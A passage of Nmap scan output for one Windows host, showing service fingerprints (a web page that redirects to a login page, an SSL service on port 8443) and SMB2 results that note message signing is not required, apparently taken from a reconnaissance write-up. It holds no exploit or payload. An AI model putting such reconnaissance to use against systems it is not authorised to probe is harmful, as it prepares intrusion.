SF:\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x20window
SF:\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\x20</scr
SF:ipt>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RTSPRequest,1B4
SF:,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\nContent-Lengt
SF:h:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n\xef\xbb\xbf<
SF:!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.0\x20Transit
SF:ional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-transitional\
SF:.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">\r\n<h
SF:ead>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x20<script\x20t
SF:ype=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x20window\.loc
SF:ation\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\x20</script>\
SF:r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(X11Probe,6B,"HTTP/1\
SF:.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/html\r\nConten
SF:t-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=6/30%Time=649F1554%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03\
SF:x18\xcb\x01\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:
SF:\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1
SF:\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r
SF:(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocum
SF:ent\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Leng
SF:th:\x2018\r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -30s
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-06-30T17:49:24
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 156.40 seconds

• Web servers